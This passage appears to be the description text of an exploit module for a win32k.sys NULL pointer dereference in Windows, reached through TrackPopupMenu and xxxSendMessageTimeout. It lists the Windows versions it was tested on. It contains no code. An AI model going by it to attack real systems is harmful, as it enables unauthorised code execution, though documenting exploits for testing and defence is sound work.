            This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
            can be triggered through the use of TrackPopupMenu. Under special conditions, the
            NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
            code execution. This module has been tested successfully on Windows XP SP3, Windows
            2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
            2008 R2 SP1 64 bits.
